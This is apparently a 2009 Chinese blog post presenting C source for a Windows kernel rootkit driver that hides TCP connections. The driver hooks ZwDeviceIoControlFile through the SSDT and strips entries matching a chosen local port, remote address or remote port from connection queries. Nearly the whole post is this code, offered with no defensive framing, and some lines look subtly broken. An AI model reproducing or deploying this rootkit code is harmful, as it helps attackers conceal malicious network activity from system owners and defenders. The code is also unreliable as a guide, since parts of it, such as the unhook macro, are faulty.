---
title: "VC实现Rootkit端口隐藏"
author: "winzenghua"
date: "2009-08-17T14:03:00Z"
tags: []
slug: "vc-rootkit"
draft: false
lastmod: "2009-08-17T14:03:00Z"
id: 948117
url: "https://java4gis.iteye.com/blog/948117"
---

#include "ntddk.h"  
#include &lt;stdio.h&gt;  
#include &lt;tdiinfo.h&gt;  
#include &lt;tdistat.h&gt;  
#include "netType.h"

#define NT\_DEVICE\_NAME L"[\\\\Device\\\\HidePort]()"  
#define DOS\_DEVICE\_NAME L"[\\\\DosDevices\\\\HidePort]()"

#pragma pack(1)//SSDT表的结构  
typedef struct ServiceDescriptorEntry {  
unsigned int \*ServiceTableBase;  
unsigned int \*ServiceCounterTableBase; //Used only in checked build  
unsigned int NumberOfServices;  
unsigned char \*ParamTableBase;  
} ServiceDescriptorTableEntry\_t, \*PServiceDescriptorTableEntry\_t;  
#pragma pack()

//------------------------- 函数声明--------------------- \[5/22/2008 WinDDK]  
NTSTATUS DriverEntry(  
IN PDRIVER\_OBJECT DriverObject,  
IN PUNICODE\_STRING RegistryPath  
);

VOID OnUnload(  
IN PDRIVER\_OBJECT DriverObject  
);

//设备通讯  
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE\_OBJECT DeviceObject,IN PIRP Irp);

//设备打开关闭  
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE\_OBJECT DeviceObject,IN PIRP Irp);

// ------------------------------------------------------ \[5/22/2008 WinDDK]

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO\_APC\_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO\_STATUS\_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength );

NTSTATUS NTAPI NewZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO\_APC\_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO\_STATUS\_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength );

typedef NTSTATUS (\*ZWDEVICECONTROLIOFILE)(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO\_APC\_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO\_STATUS\_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
);

ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;  
PMDL m\_MDL = NULL;  
PVOID \*m\_Mapped = NULL;

\_\_declspec(dllimport) ServiceDescriptorTableEntry\_t KeServiceDescriptorTable;//变量名是不能变的,因为是从外部导入

#define SYSTEMSERVICE(\_function) KeServiceDescriptorTable.ServiceTableBase\[\*(PULONG)((PUCHAR)\_function+1)]  
#define SYSCALL\_INDEX(\_Function) \*(PULONG)((PUCHAR)\_Function+1)  
#define HOOK\_SYSCALL(\_Function, \_Hook, \_Orig) \\  
\_Orig = (PVOID)InterlockedExchange((PLONG)&m\_Mapped\[SYSCALL\_INDEX(\_Function)], (LONG)\_Hook)  
#define UNHOOK\_SYSCALL(\_Function, \_Hook, \_Orig ) \\  
InterlockedExchange((PLONG)&m\_Mapped\[SYSCALL\_INDEX(\_Function)], (LONG)\_Hook)

#include "HidePort.h"

#pragma alloc\_text(INIT,DriverEntry)  
#pragma alloc\_text(PAGE,OnUnload)  
#pragma alloc\_text(PAGE,NewZwDeviceIoControlFile)  
#pragma alloc\_text(PAGE,HideProtDispatchDeviceControl)  
#pragma alloc\_text(PAGE,HidePortDispatchCreateClose)

VOID OnUnload(IN PDRIVER\_OBJECT DriverObject)  
{  
UNICODE\_STRING dosDeviceName;

UNHOOK\_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);

if(m\_MDL){  
MmUnmapLockedPages(m\_Mapped,m\_MDL);  
IoFreeMdl(m\_MDL);  
}

//------删除设备对象------ \[5/22/2008 WinDDK]  
RtlInitUnicodeString(&dosDeviceName, DOS\_DEVICE\_NAME);  
IoDeleteSymbolicLink(&dosDeviceName);  
IoDeleteDevice(DriverObject-&gt;DeviceObject);

KdPrint(("驱动卸载完毕...\\n"));  
}

NTSTATUS DriverEntry(  
IN PDRIVER\_OBJECT DriverObject,  
IN PUNICODE\_STRING RegistryPath  
)  
{  
NTSTATUS ntStatus = STATUS\_SUCCESS;  
PDEVICE\_OBJECT DeviceObject = NULL;  
UNICODE\_STRING ntDeviceName, dosDeviceName;  
BOOLEANfSymbolicLink = FALSE;

RtlInitUnicodeString(&ntDeviceName, NT\_DEVICE\_NAME);

//创建设备对象  
ntStatus = IoCreateDevice(  
DriverObject,  
0, // DeviceExtensionSize  
&ntDeviceName, // DeviceName  
FILE\_DEVICE\_UNKNOWN, // DeviceType  
0, // DeviceCharacteristics  
FALSE, // Exclusive  
&DeviceObject // \[OUT]  
);

if (!NT\_SUCCESS(ntStatus))  
{  
KdPrint(("创建设备对象失败:%X\\n", ntStatus));  
goto \_\_failed;  
}

RtlInitUnicodeString(&dosDeviceName, DOS\_DEVICE\_NAME);  
ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

if (!NT\_SUCCESS(ntStatus)) {  
KdPrint(("创建符号链接失败:%X\\n", ntStatus));  
goto \_\_failed;  
}

fSymbolicLink = TRUE;

//指定分发  
DriverObject-&gt;MajorFunction\[IRP\_MJ\_CREATE] = HidePortDispatchCreateClose;  
DriverObject-&gt;MajorFunction\[IRP\_MJ\_CLOSE] = HidePortDispatchCreateClose;  
DriverObject-&gt;MajorFunction\[IRP\_MJ\_DEVICE\_CONTROL] = HideProtDispatchDeviceControl;  
DriverObject-&gt;DriverUnload = OnUnload;

// --------------修改SSDT------------ \[5/22/2008 Admin]

m\_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices\*4 );  
if(!m\_MDL)  
return STATUS\_UNSUCCESSFUL;

//非分页内存  
MmBuildMdlForNonPagedPool(m\_MDL);

m\_MDL-&gt;MdlFlags = m\_MDL-&gt;MdlFlags | MDL\_MAPPED\_TO\_SYSTEM\_VA;

//锁定  
m\_Mapped = MmMapLockedPages(m\_MDL, KernelMode);

HOOK\_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);

KdPrint(("驱动启动成功...\\n"));

return ntStatus;

\_\_failed:

if (fSymbolicLink)  
IoDeleteSymbolicLink(&dosDeviceName);

if (DeviceObject)  
IoDeleteDevice(DeviceObject);

return ntStatus;  
}

//设备通讯  
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE\_OBJECT DeviceObject,IN PIRP Irp)  
{  
NTSTATUS ntStatus;  
PIO\_STACK\_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);  
PVOID lpInBuffer = NULL;  
ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;

Irp-&gt;IoStatus.Status = STATUS\_SUCCESS;  
Irp-&gt;IoStatus.Information = 0;

//获得输入缓冲区空间地址  
lpInBuffer = Irp-&gt;AssociatedIrp.SystemBuffer;  
nInBufferSize = IrpStack-&gt;Parameters.DeviceIoControl.InputBufferLength;  
nOutBufferSize = IrpStack-&gt;Parameters.DeviceIoControl.OutputBufferLength;

dwIoControlCode = IrpStack-&gt;Parameters.DeviceIoControl.IoControlCode;

switch (dwIoControlCode)  
{  
case IOCTL\_SET\_LOCAL\_CONTROL:  
{  
HideType = 1;  
memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));  
KdPrint(("设置为本地端口模式...%ld\\n",LocalPort));  
break;  
}  
case IOCTL\_SET\_RHOST\_CONTROL:  
{  
HideType = 2;  
memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));  
KdPrint(("设置为远程地址模式...0x%x\\n",RemoteHost));  
break;  
}

case IOCTL\_SET\_RPORT\_CONTROL:  
{  
HideType = 3;  
memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));  
KdPrint(("设置为远程端口模式...%ld\\n",RemotePort));  
break;  
}

default:  
Irp-&gt;IoStatus.Status = STATUS\_INVALID\_PARAMETER;  
break;  
}

ntStatus = Irp-&gt;IoStatus.Status;  
IoCompleteRequest(Irp, IO\_NO\_INCREMENT);

return ntStatus;  
}

//设备打开关闭  
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE\_OBJECT DeviceObject,IN PIRP Irp)  
{  
NTSTATUS ntStatus;

Irp-&gt;IoStatus.Status = STATUS\_SUCCESS;  
Irp-&gt;IoStatus.Information = 0;

ntStatus = Irp-&gt;IoStatus.Status;  
IoCompleteRequest(Irp, IO\_NO\_INCREMENT);

return ntStatus;  
}

NTSTATUS NTAPI NewZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO\_APC\_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO\_STATUS\_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
)  
{  
TCP\_REQUEST\_QUERY\_INFORMATION\_EX req;  
ULONG NumCount = 0;  
ULONG i = 0;  
TCPAddrEntry\*TcpTable = NULL;  
TCPAddrExEntry\*TcpTableEx = NULL;

//调用旧函数  
NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(  
FileHandle,  
Event,  
ApcRoutine,  
ApcContext,  
IoStatusBlock,  
IoControlCode,  
InputBuffer,  
InputBufferLength,  
OutputBuffer,  
OutputBufferLength);

//判断是否为查询TCP连接信息  
if (IoControlCode != IOCTL\_TCP\_QUERY\_INFORMATION\_EX)  
return ntStatus;

//原函数返回不成功  
if (!NT\_SUCCESS(ntStatus))  
return ntStatus;

//获得输入缓冲区  
memcpy(&req,InputBuffer,sizeof(TDIObjectID));

if ( (req.ID.toi\_entity.tei\_entity == CO\_TL\_ENTITY)  
&&(req.ID.toi\_entity.tei\_instance == 0)  
&&(req.ID.toi\_class == INFO\_CLASS\_PROTOCOL)  
&&(req.ID.toi\_type == INFO\_TYPE\_PROVIDER)  
)//判断是否为端口查询  
{  
//普通查询  
if (req.ID.toi\_id == TCP\_MIB\_ADDRTABLE\_ENTRY\_ID)  
{  
NumCount = IoStatusBlock-&gt;Information / sizeof(TCPAddrEntry);  
TcpTable = (TCPAddrEntry\*)OutputBuffer;

//循环链表,找到并修改需要隐藏的端口  
for(i = 0; i &lt; NumCount; i++) {

//模式为本地端口  
if (HideType == 1) {  
if( ntohs(TcpTable\[i].tae\_ConnLocalPort) == LocalPort) {  
KdPrint(("普通隐藏\[本地端口] %d\\n", ntohs(TcpTable\[i].tae\_ConnLocalPort)));  
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)\*sizeof(TCPAddrEntry)));  
NumCount--;  
i--;  
}  
}

//模式为远程地址  
if (HideType == 2) {  
if (TcpTable\[i].tae\_ConnRemAddress == RemoteHost) {  
KdPrint(("普通隐藏\[远程地址] 0x%x\\n", TcpTable\[i].tae\_ConnRemAddress));  
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)\*sizeof(TCPAddrEntry)));  
NumCount--;  
i--;  
}  
}

//模式为远程端口  
if (HideType == 3) {  
if (ntohs(TcpTable\[i].tae\_ConnRemPort) == RemotePort) {  
KdPrint(("普通隐藏\[远程端口] %d\\n", ntohs(TcpTable\[i].tae\_ConnRemPort)));  
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)\*sizeof(TCPAddrEntry)));  
NumCount--;  
i--;  
}  
}  
}

IoStatusBlock-&gt;Information = NumCount\*sizeof(TCPAddrEntry);  
}

//带进程PID的查询  
if (req.ID.toi\_id == TCP\_MIB\_ADDRTABLE\_ENTRY\_EX\_ID)  
{  
NumCount = IoStatusBlock-&gt;Information / sizeof(TCPAddrExEntry);  
TcpTableEx = (TCPAddrExEntry\*)OutputBuffer;

//循环链表  
for(i = 0; i &lt; NumCount; i++) {

//为本地端口模式  
if (HideType == 1) {  
if( ntohs(TcpTableEx\[i].tae\_ConnLocalPort) == LocalPort) {  
KdPrint(("扩展隐藏\[本地端口] %d\\n", ntohs(TcpTableEx\[i].tae\_ConnLocalPort)));  
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)\*sizeof(TCPAddrExEntry)));  
NumCount--;  
i--;  
}  
}

//当前为远程地址模式  
if (HideType == 2) {  
if (TcpTableEx\[i].tae\_ConnRemAddress == RemoteHost){  
KdPrint(("扩展隐藏\[远程地址] 0x%x\\n", TcpTableEx\[i].tae\_ConnRemAddress));  
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)\*sizeof(TCPAddrExEntry)));  
NumCount--;  
i--;  
}  
}

//远程端口模式  
if (HideType == 3) {  
if ( ntohs(TcpTableEx\[i].tae\_ConnRemPort) == RemotePort) {  
KdPrint(("扩展隐藏\[远程端口] %d\\n", ntohs(TcpTableEx\[i].tae\_ConnRemPort)));  
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)\*sizeof(TCPAddrExEntry)));  
NumCount--;  
i--;  
}  
}  
}

IoStatusBlock-&gt;Information = NumCount\*sizeof(TCPAddrExEntry);  
}  
}

return ntStatus;  
}